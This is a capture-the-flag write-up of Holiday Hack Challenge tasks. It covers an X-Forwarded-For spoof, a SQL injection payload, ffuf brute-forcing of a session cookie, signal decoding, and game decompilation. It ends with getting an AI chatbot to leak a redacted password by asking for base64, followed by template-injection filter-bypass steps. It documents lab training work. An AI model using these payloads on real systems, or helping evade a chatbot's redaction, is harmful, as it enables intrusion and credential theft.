http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register/login/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/login
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/login/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/reset
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/reset/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/status_report
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/status_report/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search/student_lookup
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search/student_lookup/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_notes
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_notes/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_todos
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_todos/The dev_notes and dev_todos sound interesting but the /wip endpoint is out-of-scope, but maybe the are also present on /register. Even though the notes require authentication, the todos are accessible and are the first finding.

Apparently the developer already completed two tasks on their todo list. A HTTP header was was introduced to secure the login and the password for user teststudent was set to 2025h0L1d4y5. I already know the notes are still there, but there might to also be a XSS vulnerability somewhere.
When I try to login with the credentials an error message regarding an invalid forwarding IP pops up. This might be related to the HTTP header and I try to set X-Forwarded-For. Since I do not know the real IP of the reverse proxy, I try 127.0.0.1 first and this lets me login with the credentials.

At first glance the new page /register/courses does not reveal anything useful.

But the HTML source shows the /register/courses/search endpoint being commented out. After adding the contents back to the page, it registers as new finding and a link to the course search becomes available.
<script src="/register/js/course_common.js"></script>
<header>
<p class="welcome" role="banner">🎄 Neighborhood College Courses</p>
</header>
<section class="courses-content">
<div class="courses-container" style="max-width: 500px;">
<h2 class="semester-heading">❄️ Spring Semester 2026 ❄️</h2>
<!-- Should provide course listing here eventually instead of the extra step through search flow. -->
<!-- <ul id="courseSearch" class="courses-list">
<li><a href="/register/courses/search?id=605cf1a0-3033-4f7e-9e29-1d9702497a86">Course Search</a></li>
</ul> -->
</div>
</section>
<!-- Common navigation and instructions section -->
<p class="violation"><a href="/">🏠 Return Home</a> | <a href="/register/reset">🔁 Reset Session</a> | <a href="/register/status_report">📋 View Status Report</a> | <a href="#" id="instBtn" aria-expanded="false" aria-controls="rules">📖 Instructions</a></p>
<div id="rules" class="rules" aria-hidden="true"> <img id="instructions" src="/register/images/instructions.png" alt="Instructions for the Registration System" style="max-height:100%;">
<button id="closeInstructions" class="close-instructions" aria-label="Close Instructions">Close</button>
</div>
<div class="gnome-character-container">
<img src="/register/images/gnome-hacker.png" alt="Gnome Hacker" class="gnome-image">
<div class="speech-bubble">
<span class="initial-text">Guess the site really is still under construction, heh-he!</span>
<span class="hover-text">I bet someone has a <i>comment</i> or two about that!</span>
</div>
</div>
</main>
<script src="/register/js/registerCourses.js"></script>
</body>
</html>Upon browsing to /register/courses/search I find a form to search for courses by their number. Using something like 1 returns a few courses.

It’s likely the courses are kept in a database, so I test for SQL injection with 1' OR 1 = 1 -- -. This works and returns all courses including GNOME 827 - Mischief Management.

Upon clicking on the Mischief Management course, I’m redirected to /register/courses/gnome_mischief and get the option to report is as a vulnerability. Doing so lists it as a new finding.

Now circling back to the developer notes in /register/dev/dev_notes/, as an authenticated user I can access them. They only contain the information about a new course called holiday_behavior that is still work-in-progress.

Trying to replace the name of a known course in the URL with holiday_behavior results in a 404 error, but adding wip as seen in the sitemap does work and the error changes to 403 when accessing /register/courses/wip/holiday_behavior. Apparently the session registration value is invalid.

Every response sets a new registration value and they only seem to differ in the last two characters, so I try to bruteforce them with ffuf.

First I generate a wordlist that includes all possible values from 00 to ff with Python and then use it as input for fuff .
$ python3 -c "print('\n'.join([a+b for a in 'abcdef0123456789' for b in 'abcdef0123456789']))" > wl.txt
$ ffuf -u "https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/courses/wip/holiday_behavior?id=605cf1a0-3033-4f7e-9e29-1d9702497a86" \
-H 'Cookie: Schrodinger=53ad2cf0-9cd7-49b4-9171-f4c485d48655; registration=eb72a05369dcb4FUZZ' \
-w wl.txt \
-fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/courses/wip/holiday_behavior?id=605cf1a0-3033-4f7e-9e29-1d9702497a86
:: Wordlist : FUZZ: wl.txt
:: Header : Cookie: Schrodinger=53ad2cf0-9cd7-49b4-9171-f4c485d48655; registration=eb72a05369dcb4FUZZ
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 403
________________________________________________
4c [Status: 200, Size: 24136, Words: 8372, Lines: 928, Duration: 3683ms]After finding the correct value 4c and getting a 200 status code all subsequent tries return 302 to the competition page. Pressing Finalize Test redirects me to a summary page.

Find and Shutdown Frosty’s Snowglobe Machine
You’ve heard murmurings around the city about a wise, elderly gnome having a change of heart. He must have information about where Frosty’s Snowglobe Machine is. You should find and talk to the gnome so you can get some help with how to make your way through the Data Center’s labrynthian halls.
Once you find the Snowglobe Machine, figure out how to shut it down and melt Frosty’s cold, nefarious plans.

Info
Using the CTF style gaming mode, there was no challenge.
On the Wire
Help Evan next to city hall hack this gnome and retrieve the temperature value reported by the I²C device at address 0x3C. The temperature data is XOR-encrypted, so you’ll need to work through each communication stage to uncover the necessary keys. Start with the unencrypted data being transmitted over the 1-wire protocol.

The challenge consists out of three stages, that display data from web sockets. Stages build upon each other, starting with 1-Wire with a single data source and SPI and I2C with two data sources each. I solved all three exclusively with ChatGPT.
To dump the data from the stages, I used the following script to connect to each of the web socket endpoints and dump their messages into files. Then I stripped the very first message of each to end up with the raw data.
import asyncio
import json
import websockets
async def capture_ws(url, outfile, duration=10):
end = asyncio.get_event_loop().time() + duration
with open(outfile, "w") as f:
async with websockets.connect(url) as ws:
while asyncio.get_event_loop().time() < end:
msg = await ws.recv()
f.write(msg.strip() + "\n")
if __name__ == "__main__":
# URLs:
# wss://signals.holidayhackchallenge.com/wire/dq
# wss://signals.holidayhackchallenge.com/wire/mosi
# wss://signals.holidayhackchallenge.com/wire/sck
# wss://signals.holidayhackchallenge.com/wire/sda
# wss://signals.holidayhackchallenge.com/wire/scl
asyncio.run(
capture_ws(
url="wss://signals.holidayhackchallenge.com/wire/dq",
outfile="capture_dq.jsonl",
duration=3
)
)After decoding the first stage, the message returns the XOR key icy for the second stage.
import json
import string
import itertools
from collections import defaultdict
PRINTABLE = set(bytes(string.printable, "ascii"))
def load_frames(path):
frames = [json.loads(l) for l in open(path)]
by_line = defaultdict(list)
for f in frames:
by_line[f["line"]].append((f["t"], f["v"]))
for k in by_line:
by_line[k].sort()
return by_line
def edges(sig):
"""Return list of (start_time, level) for each contiguous pulse."""
if not sig:
return []
out = []
last_time, last_val = sig[0]
for t, v in sig[1:]:
if v != last_val:
out.append((last_time, last_val, t)) # start, level, end_time
last_time, last_val = t, v
out.append((last_time, last_val, sig[-1][0])) # last pulse
return out
def decode_1wire(dq):
bits = []
e = edges(dq)
for start, level, end in e:
if level == 0:
width = end - start
if width > 200: # reset
continue
if 100 < width <= 200: # presence
continue
bits.append(1 if width < 30 else 0) # <30 → 1, else 0
out, cur, n = [], 0, 0
for b in bits:
cur |= b << n
n += 1
if n == 8:
out.append(cur)
cur, n = 0, 0
return bytes(out)
frames = load_frames('capture_dq.jsonl')
data = decode_1wire(frames["dq"])
print(data)
read and decrypt the SPI bus data using the XOR key: icy
Once again extracting the message from the data and then XORing it with the key from stage 1 returns the XOR key bananza and the hint to look for address 0x3C.
from collections import defaultdict
import json
def load_frames(path):
frames = [json.loads(l) for l in open(path)]
by_line = defaultdict(list)
for f in frames:
by_line[f["line"]].append((f["t"], f["v"]))
for k in by_line:
by_line[k].sort()
return by_line
def edges(sig):
"""Return rising edges timestamps."""
out = []
for i in range(1, len(sig)):
if sig[i-1][1] == 0 and sig[i][1] == 1: # rising edge
out.append(sig[i][0])
return out
def sample_mosi(mosi, sck_edges):
"""Return list of bits sampled at clock edges."""
bits = []
idx = 0
for t_edge in sck_edges:
# find last MOSI value before edge
while idx + 1 < len(mosi) and mosi[idx+1][0] <= t_edge:
idx += 1
bits.append(mosi[idx][1])
return bits
def bits_to_bytes(bits):
out, cur = [], 0
for i, b in enumerate(bits):
cur = (cur << 1) | b # MSB-first
if (i + 1) % 8 == 0:
out.append(cur)
cur = 0
return bytes(out)
frames = load_frames("capture_mosi.jsonl")
mosi = frames["mosi"]
frames = load_frames("capture_sck.jsonl")
sck = frames["sck"]
sck_edges = edges(sck)
bits = sample_mosi(mosi, sck_edges)
data = bits_to_bytes(bits)
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
print(xor(data, b'icy'))
print("hex:", data.hex())
read and decrypt the I2C bus data using the XOR key: bananza. the temperature sensor address is 0x3C
The script for the third stage parses the data and groups it into transactions. Looking up 0x3C, I can xor the message to retrieve the temperature value 32.84.
import json
def load_frames(path):
frames = [json.loads(l) for l in open(path)]
frames.sort(key=lambda f: f["t"])
return frames
def detect_edges(line, rising=True):
edges = []
for i in range(1, len(line)):
if rising and line[i-1]["v"] == 0 and line[i]["v"] == 1:
edges.append(line[i]["t"])
elif not rising and line[i-1]["v"] == 1 and line[i]["v"] == 0:
edges.append(line[i]["t"])
return edges
def sample_sda_at_edges(sda, edges):
bits = []
idx = 0
for t in edges:
while idx+1 < len(sda) and sda[idx+1]["t"] <= t:
idx += 1
bits.append(sda[idx]["v"])
return bits
def parse_i2c_transactions(sda, scl, target_addr):
transactions = []
# Detect all START and STOP
starts, stops = [], []
for i in range(1, len(sda)):
if sda[i-1]["v"] == 1 and sda[i]["v"] == 0:
# START if SCL high
scl_val = next(f["v"] for f in reversed(scl) if f["t"] <= sda[i]["t"])
if scl_val == 1:
starts.append(i)
elif sda[i-1]["v"] == 0 and sda[i]["v"] == 1:
# STOP if SCL high
scl_val = next(f["v"] for f in reversed(scl) if f["t"] <= sda[i]["t"])
if scl_val == 1:
stops.append(i)
for start_idx in starts:
# Get frames after START up to next STOP
stop_idx = next((s for s in stops if s > start_idx), len(sda))
sda_tx = sda[start_idx:stop_idx]
scl_tx = [f for f in scl if sda_tx[0]["t"] <= f["t"] <= sda_tx[-1]["t"]]
edges = detect_edges(scl_tx, rising=True)
bits = sample_sda_at_edges(sda_tx, edges)
# Split bits into bytes (MSB-first), skipping ACK
i = 0
if len(bits) < 8:
continue
first_byte = 0
for b in bits[i:i+8]:
first_byte = (first_byte << 1) | b
addr = first_byte >> 1
rw = first_byte & 1
i += 9 # skip ACK
if addr != target_addr:
continue # skip non-target
# collect remaining bytes
data_bytes = []
while i+8 <= len(bits):
bval = 0
for b in bits[i:i+8]:
bval = (bval << 1) | b
data_bytes.append(bval)
i += 9 # skip ACK
transactions.append(data_bytes)
return transactions
def xor_decrypt(data_bytes, key):
k = key.encode()
return bytes(b ^ k[i % len(k)] for i, b in enumerate(data_bytes))
# Load captures
sda = load_frames("capture_sda.jsonl")
scl = load_frames("capture_scl.jsonl")
transactions = parse_i2c_transactions(sda, scl, target_addr=0x3C)
for t in transactions:
decrypted = xor_decrypt(t, "bananza")
print("Hex:", bytes(t).hex())
print("ASCII:", decrypted.decode(errors="ignore"))
32.84
Free Ski
Go to the retro store and help Goose Olivia ski down the mountain and collect all five treasure chests to reveal the hidden flag in this classic SkiFree-inspired challenge.

First I use pyinstxtractor to extract the Python bytecode from the compiled EXE. This shows that Python version 3.13 was used. Unfortunately pycdc seems to have some problems with this version, so I compile the version in this branch to look at the pyc files.
$ git clone https://github.com/CarrBen/pycdc -b py313_SET_FUNCTION_ATTRIBUTE pycdc
$ cmake .
$ makeNow I get access to two binaries, pycdas to disassemble the bytecode and pycdc to decompile it back to readable Python code. Using the latter one is preferred because it makes analyzing a lot easier.
$ python3 pyinstxtractor.py FreeSki.exe
[+] Processing FreeSki.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 16806404 bytes
[+] Found 98 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: FreeSki.pyc
[+] Found 471 files in PYZ archive
[!] Error: Failed to decompress PYZ.pyz_extracted/jaraco.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_distutils/compilers.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_distutils/compilers/C.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_vendor.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_vendor/jaraco.pyc, probably encrypted. Extracting as is.
[+] Successfully extracted pyinstaller archive: FreeSki.exe
You can now use a python decompiler on the pyc files within the extracted directory
$ ls -1 FreeSki.exe_extracted/*.pyc
FreeSki.exe_extracted/FreeSki.pyc
FreeSki.exe_extracted/pyiboot01_bootstrap.pyc
FreeSki.exe_extracted/pyimod01_archive.pyc
FreeSki.exe_extracted/pyimod02_importers.pyc
FreeSki.exe_extracted/pyimod03_ctypes.pyc
FreeSki.exe_extracted/pyimod04_pywin32.pyc
FreeSki.exe_extracted/pyi_rth_inspect.pyc
FreeSki.exe_extracted/pyi_rth_multiprocessing.pyc
FreeSki.exe_extracted/pyi_rth_pkgres.pyc
FreeSki.exe_extracted/pyi_rth_pkgutil.pyc
FreeSki.exe_extracted/pyi_rth_setuptools.pyc
FreeSki.exe_extracted/struct.pyc
$ pycdc FreeSki.exe_extracted/FreeSki.pyc > FreeSki.pyEven with the fixed version, there are still errors and code is missing, but it’s possible to gain some insights from the generated code. In order to win, I have to collect 5 treasures. In total there are 7 mountains, each with an encoded flag and a method called SetFlag that takes the mountain and the presumably collected treasures to reconstruct the flag.
# Source Generated with Decompyle++
# File: FreeSki.pyc (Python 3.13)
import pygame
import enum
import random
import binascii
pygame.init()
pygame.font.init()
screen_width = 800
screen_height = 600
framerate_fps = 60
object_horizonal_hitbox = 1.5
object_vertical_hitbox = 0.5
max_speed = 0.4
accelerate_increment = 0.02
decelerate_increment = 0.05
scale_factor = 0.1
pixels_per_meter = 30
skier_vertical_pixel_location = 100
mountain_width = 1000
obstacle_draw_distance = 23
skier_start = 5
grace_period = 10
screen = pygame.display.set_mode((screen_width, screen_height))
clock = pygame.time.Clock()
dt = 0
pygame.key.set_repeat(500, 100)
pygame.display.set_caption('FreeSki v0.0')
skierimage = pygame.transform.scale_by(pygame.image.load('img/skier.png'), scale_factor)
skier_leftimage = pygame.transform.scale_by(pygame.image.load('img/skier_left.png'), scale_factor)
skier_rightimage = pygame.transform.scale_by(pygame.image.load('img/skier_right.png'), scale_factor)
skier_crashimage = pygame.transform.scale_by(pygame.image.load('img/skier_crash.png'), scale_factor)
skier_pizzaimage = pygame.transform.scale_by(pygame.image.load('img/skier_pizza.png'), scale_factor)
treeimage = pygame.transform.scale_by(pygame.image.load('img/tree.png'), scale_factor)
yetiimage = pygame.transform.scale_by(pygame.image.load('img/yeti.png'), scale_factor)
treasureimage = pygame.transform.scale_by(pygame.image.load('img/treasure.png'), scale_factor)
boulderimage = pygame.transform.scale_by(pygame.image.load('img/boulder.png'), scale_factor)
victoryimage = pygame.transform.scale_by(pygame.image.load('img/victory.png'), 0.7)
gamefont = pygame.font.Font('fonts/VT323-Regular.ttf', 24)
text_surface1 = gamefont.render('Use arrow keys to ski and find the 5 treasures!', False, pygame.Color('blue'))
text_surface2 = gamefont.render(" find all the lost bears. don't drill into a rock. Win game.", False, pygame.Color('yellow'))
flagfont = pygame.font.Font('fonts/VT323-Regular.ttf', 32)
flag_text_surface = flagfont.render('replace me', False, pygame.Color('saddle brown'))
flag_message_text_surface1 = flagfont.render('You win! Drill Baby is reunited with', False, pygame.Color('yellow'))
flag_message_text_surface2 = flagfont.render('all its bears. Welcome to Flare-On 12.', False, pygame.Color('yellow'))
class SkierStates(enum.Enum):
CRUISING = enum.auto()
ACCELERATING = enum.auto()
DECELERATING = enum.auto()
TURNING_LEFT = enum.auto()
TURNING_RIGHT = enum.auto()
CRASHED = enum.auto()
SkierStateImages = {
SkierStates.CRASHED: skier_crashimage,
SkierStates.TURNING_RIGHT: skier_rightimage,
SkierStates.TURNING_LEFT: skier_leftimage,
SkierStates.DECELERATING: skier_pizzaimage,
SkierStates.ACCELERATING: skierimage,
SkierStates.CRUISING: skierimage }
class Skier:
def __init__(self, x, y):
'''X and Y denote the pixel coordinates of the bottom center of the skier image'''
self.state = SkierStates.CRUISING
self.elevation = 0
self.horizonal_location = 0
self.speed = 0
self.x = x
self.y = y
imagerect = skierimage.get_rect()
self.rect = pygame.Rect(self.x - imagerect.left / 2, self.y - imagerect.height, 0, 0)
def Draw(self, surface):
surface.blit(SkierStateImages[self.state], self.rect)
def TurnLeft(self):
self.StateChange(SkierStates.TURNING_LEFT)
def TurnRight(self):
self.StateChange(SkierStates.TURNING_RIGHT)
def SlowDown(self):
Something TERRIBLE happened!
if self.speed < 0:
0 = self, self.speed -= decelerate_increment, .speed
self.StateChange(SkierStates.DECELERATING)
def SpeedUp(self):
Something TERRIBLE happened!
if self.speed > max_speed:
max_speed = self, self.speed += accelerate_increment, .speed
self.StateChange(SkierStates.ACCELERATING)
def Cruise(self):
self.StateChange(SkierStates.CRUISING)
def StateChange(self, newstate):
if self.state != SkierStates.CRASHED:
self.state = newstate
return None
def UpdateLocation(self):
Something TERRIBLE happened!
'''update elevation and horizonal location based on one frame of the current speed and turning status
speed will be split between down and to the turning side with simplified math to avoid calculating
square roots'''
if self.state == SkierStates.TURNING_LEFT:
pass
elif self.state == SkierStates.TURNING_RIGHT:
pass
if self.elevation < 0:
0 = self, self.elevation -= self.speed, .elevation
return None
def isMoving(self):
if self.speed != 0:
pass
return True
return False
def Crash(self):
self.StateChange(SkierStates.CRASHED)
self.speed = 0
def Reset(self):
self.state = SkierStates.CRUISING
self.speed = 0
self.elevation = 0
self.horizonal_location = 0
def isReadyForReset(self):
if self.state == SkierStates.CRASHED or self.elevation == 0:
pass
return True
return False
__static_attributes__ = ('elevation', 'horizonal_location', 'rect', 'speed', 'state', 'x', 'y')
class Obstacles(enum.Enum):
BOULDER = enum.auto()
TREE = enum.auto()
YETI = enum.auto()
TREASURE = enum.auto()
ObstacleImages = {
Obstacles.TREASURE: treasureimage,
Obstacles.YETI: yetiimage,
Obstacles.TREE: treeimage,
Obstacles.BOULDER: boulderimage }
ObstacleProbabilities = {
Obstacles.YETI: 0.005,
Obstacles.TREE: 0.01,
Obstacles.BOULDER: 0.005 }
fakeObstacleProbabilities = {
Obstacles.YETI: 0.1,
Obstacles.TREE: 0.1,
Obstacles.BOULDER: 0.1 }
def CalculateObstacleProbabilityRanges(probabilities):
remaining = 1
last_end = 0
range_dict = { }
for key in probabilities.keys():
new_last_end = last_end + probabilities[key]
range_dict[key] = (last_end, new_last_end)
last_end = new_last_end
return range_dict
ObstacleProbabilitiesRanges = CalculateObstacleProbabilityRanges(ObstacleProbabilities)
class Mountain:
def __init__(self, name, height, treeline, yetiline, encoded_flag):
self.name = name
self.height = height
self.treeline = treeline
self.yetiline = yetiline
self.encoded_flag = encoded_flag
self.treasures = self.GetTreasureLocations()
def GetObstacles(self, elevation):
Wrong block type 0 for END_FOR
obstacles = [
None] * mountain_width
if elevation > self.height - grace_period:
pass
return obstacles
random.seed(binascii.crc32(self.name.encode('utf-8')) + elevation)
for i in range(0, mountain_width):
r = random.random()
obstacle = None
for rangekey in ObstacleProbabilitiesRanges:
if rangekey == Obstacles.TREE and elevation > self.treeline:
continue
if rangekey == Obstacles.YETI and elevation > self.yetiline:
continue
probrange = ObstacleProbabilitiesRanges[rangekey]
if not r >= probrange[0]:
continue
if not r <= probrange[1]:
continue
obstacle = rangekey
ObstacleProbabilitiesRanges
obstacles[i] = obstacle
continue
treasure_row = None
for key in self.treasures.keys():
if not elevation + 5 >= key:
continue
if not key >= elevation - 5:
continue
treasure_row = key
treasure_h = self.treasures[treasure_row]
for i in range(-5, 6):
obstacles[(treasure_h + i) % mountain_width] = None
self.treasures.keys()
if treasure_row == int(elevation):
obstacles[treasure_h % mountain_width] = Obstacles.TREASURE
return obstacles
return obstacles
def GetTreasureLocations(self):
locations = { }
random.seed(binascii.crc32(self.name.encode('utf-8')))
prev_height = self.height
prev_horiz = 0
for i in range(0, 5):
e_delta = random.randint(200, 800)
h_delta = random.randint(int(0 - e_delta / 4), int(e_delta / 4))
locations[prev_height - e_delta] = prev_horiz + h_delta
prev_height = prev_height - e_delta
prev_horiz = prev_horiz + h_delta
return locations
__static_attributes__ = ('encoded_flag', 'height', 'name', 'treasures', 'treeline', 'yetiline')
Mountains = [
Mountain('Mount Snow', 3586, 3400, 2400, b'\x90\x00\x1d\xbc\x17b\xed6S"\xb0<Y\xd6\xce\x169\xae\xe9|\xe2Gs\xb7\xfdy\xcf5\x98'),
Mountain('Aspen', 11211, 11000, 10000, b'U\xd7%x\xbfvj!\xfe\x9d\xb9\xc2\xd1k\x02y\x17\x9dK\x98\xf1\x92\x0f!\xf1\\\xa0\x1b\x0f'),
Mountain('Whistler', 7156, 6000, 6500, b'\x1cN\x13\x1a\x97\xd4\xb2!\xf9\xf6\xd4#\xee\xebh\xecs.\x08M!hr9?\xde\x0c\x86\x02'),
Mountain('Mount Baker', 10781, 9000, 6000, b'\xac\xf9#\xf4T\xf1%h\xbe3FI+h\r\x01V\xee\xc2C\x13\xf3\x97ef\xac\xe3z\x96'),
Mountain('Mount Norquay', 6998, 6300, 3000, b'\x0c\x1c\xad!\xc6,\xec0\x0b+"\x9f@.\xc8\x13\xadb\x86\xea{\xfeS\xe0S\x85\x90\x03q'),
Mountain('Mount Erciyes', 12848, 10000, 12000, b'n\xad\xb4l^I\xdb\xe1\xd0\x7f\x92\x92\x96\x1bq\xca`PvWg\x85\xb21^\x93F\x1a\xee'),
Mountain('Dragonmount', 16282, 15500, 16000, b'Z\xf9\xdf\x7f_\x02\xd8\x89\x12\xd2\x11p\xb6\x96\x19\x05x))v\xc3\xecv\xf4\xe2\\\x9a\xbe\xb5')]
class ObstacleSet(list):
Unsupported opcode: MAKE_CELL (225)
pass
# WARNING: Decompyle incomplete
def SetFlag(mountain, treasure_list):
global flag_text_surface
product = 0
for treasure_val in treasure_list:
product = product << 8 ^ treasure_val
random.seed(product)
decoded = []
for i in range(0, len(mountain.encoded_flag)):
r = random.randint(0, 255)
decoded.append(chr(mountain.encoded_flag[i] ^ r))
flag_text = 'Flag: %s' % ''.join(decoded)
print(flag_text)
flag_text_surface = flagfont.render(flag_text, False, pygame.Color('saddle brown'))
def main():
Unsupported opcode: TO_BOOL (123)
victory_mode = False
running = True
reset_mode = True
# WARNING: Decompyle incomplete
if __name__ == '__main__':
main()
return NoneWhen I try to read the flag for Mount Snow by calling the GetTreasureLocations method and passing the result to the SetFlag function, it only prints gibberish, so there is most likely some code missing.
To print the full picture I also use pycdas to generate the bytecode in a more readable form and look into the calculations there. Within the main function, I can spot the corresponding code. If the obstacle the skier hit is a treasure (1846), it multiplies the first part of the collided row, the height, with the mountain_width and adds the width of the treasure (1912-1936 ). The result is appended to the treasures_collected list (1890). Also in the output, there is the hardcoded value of 1000 for mountain_width.
1830 STORE_FAST_STORE_FAST 205: collided_object, collided_row
1832 STORE_FAST 14: collided_row_offset
1834 LOAD_FAST 12: collided_object
1836 LOAD_GLOBAL 96: Obstacles
1846 LOAD_ATTR 98: TREASURE
1866 COMPARE_OP 88 (==)
1870 POP_JUMP_IF_FALSE 68 (to 2008)
1874 LOAD_CONST 0: None
1876 LOAD_FAST 13: collided_row
1878 LOAD_CONST 7: 1
1880 BINARY_SUBSCR
1884 LOAD_FAST 14: collided_row_offset
1886 STORE_SUBSCR
1890 LOAD_FAST_CHECK 4: treasures_collected
1892 LOAD_ATTR 101: append
1912 LOAD_FAST 13: collided_row
1914 LOAD_CONST 8: 0
1916 BINARY_SUBSCR
1920 LOAD_GLOBAL 102: mountain_width
1930 BINARY_OP 5 (*)
1934 LOAD_FAST 14: collided_row_offset
1936 BINARY_OP 0 (+)
1940 CALL 1
1948 POP_TOP
1950 LOAD_GLOBAL 105: NULL + len
1960 LOAD_FAST 4: treasures_collected
1962 CALL 1
1970 LOAD_CONST 9: 5
1972 COMPARE_OP 88 (==)
1976 POP_JUMP_IF_FALSE 14 (to 2006)
1980 LOAD_GLOBAL 107: NULL + SetFlag
1990 LOAD_FAST_CHECK 6: mnt
1992 LOAD_FAST 4: treasures_collectedWith a small Python script the recycles most of the previously generated code, I can decode the flag for Mount Snow and use it to fulfill the objective.
import binascii
import random
class Mountain:
def __init__(self, name, height, treeline, yetiline, encoded_flag):
self.name = name
self.height = height
self.treeline = treeline
self.yetiline = yetiline
self.encoded_flag = encoded_flag
self.treasures = self.GetTreasureLocations()
def GetTreasureLocations(self):
locations = { }
random.seed(binascii.crc32(self.name.encode('utf-8')))
prev_height = self.height
prev_horiz = 0
for i in range(0, 5):
e_delta = random.randint(200, 800)
h_delta = random.randint(int(0 - e_delta / 4), int(e_delta / 4))
locations[prev_height - e_delta] = prev_horiz + h_delta
prev_height = prev_height - e_delta
prev_horiz = prev_horiz + h_delta
return locations
Mountains = [
Mountain('Mount Snow', 3586, 3400, 2400, b'\x90\x00\x1d\xbc\x17b\xed6S"\xb0<Y\xd6\xce\x169\xae\xe9|\xe2Gs\xb7\xfdy\xcf5\x98'),
Mountain('Aspen', 11211, 11000, 10000, b'U\xd7%x\xbfvj!\xfe\x9d\xb9\xc2\xd1k\x02y\x17\x9dK\x98\xf1\x92\x0f!\xf1\\\xa0\x1b\x0f'),
Mountain('Whistler', 7156, 6000, 6500, b'\x1cN\x13\x1a\x97\xd4\xb2!\xf9\xf6\xd4#\xee\xebh\xecs.\x08M!hr9?\xde\x0c\x86\x02'),
Mountain('Mount Baker', 10781, 9000, 6000, b'\xac\xf9#\xf4T\xf1%h\xbe3FI+h\r\x01V\xee\xc2C\x13\xf3\x97ef\xac\xe3z\x96'),
Mountain('Mount Norquay', 6998, 6300, 3000, b'\x0c\x1c\xad!\xc6,\xec0\x0b+"\x9f@.\xc8\x13\xadb\x86\xea{\xfeS\xe0S\x85\x90\x03q'),
Mountain('Mount Erciyes', 12848, 10000, 12000, b'n\xad\xb4l^I\xdb\xe1\xd0\x7f\x92\x92\x96\x1bq\xca`PvWg\x85\xb21^\x93F\x1a\xee'),
Mountain('Dragonmount', 16282, 15500, 16000, b'Z\xf9\xdf\x7f_\x02\xd8\x89\x12\xd2\x11p\xb6\x96\x19\x05x))v\xc3\xecv\xf4\xe2\\\x9a\xbe\xb5')]
def SetFlag(mountain, treasure_list):
product = 0
for treasure_val in treasure_list:
product = product << 8 ^ treasure_val
random.seed(product)
decoded = []
for i in range(0, len(mountain.encoded_flag)):
r = random.randint(0, 255)
decoded.append(chr(mountain.encoded_flag[i] ^ r))
flag_text = 'Flag: %s' % ''.join(decoded)
print(flag_text)
treasures = [x*1000+y for x,y in Mountains[0].GetTreasureLocations().items()]
SetFlag(Mountains[0], treasures)
frosty_yet_predictably_random
Snowblind Ambush
Head to the Hotel to stop Frosty’s plan. Torkel is waiting at the Grand Web Terminal.
After going to the challenge page and using GateXOR to perform time travel, I get an IP that I scan with nmap. Accessing port 8080 returns the actual challenge.

On the bottom right corner I get access to the AI chat bot. Complaining about a forgotten password reveals the username admin, but the word password gets replaced with REDACTED. Instructing the AI to answer with a base64 encoded version returns YW5fZWxmX2FuZF9wYXNzd29yZF9vbl9hX2JpcmQ and I can decode it as an_elf_and_password_on_a_bird.

After logging in, I get access to the application, the dashboard and a way to modify the profile of the current user. It allows me to upload a new profile picture and change the password. Uploading a dummy picture seems to work and I’m redirected to the /dashboard, but this time the URL also contains the parameter username. Changing the value from admin to ryuki reflects the value on the page. From the Server header I know I’m dealing with a Flask server and therefore check for server-side template injection with {{ 7 * 7 }}.

The response contains 49, so it’s vulnerable. Unfortunately getting command injection is not as easy as thought, because the application filters certain characters, like . or _, making a payload like {{ os.system }} impossible. To work around this, I use the attr filter to access attributes instead of relying on ., and introduce another URL parameter called __ that I can use with request|attr('args')|last to add the double underscore in my payload.
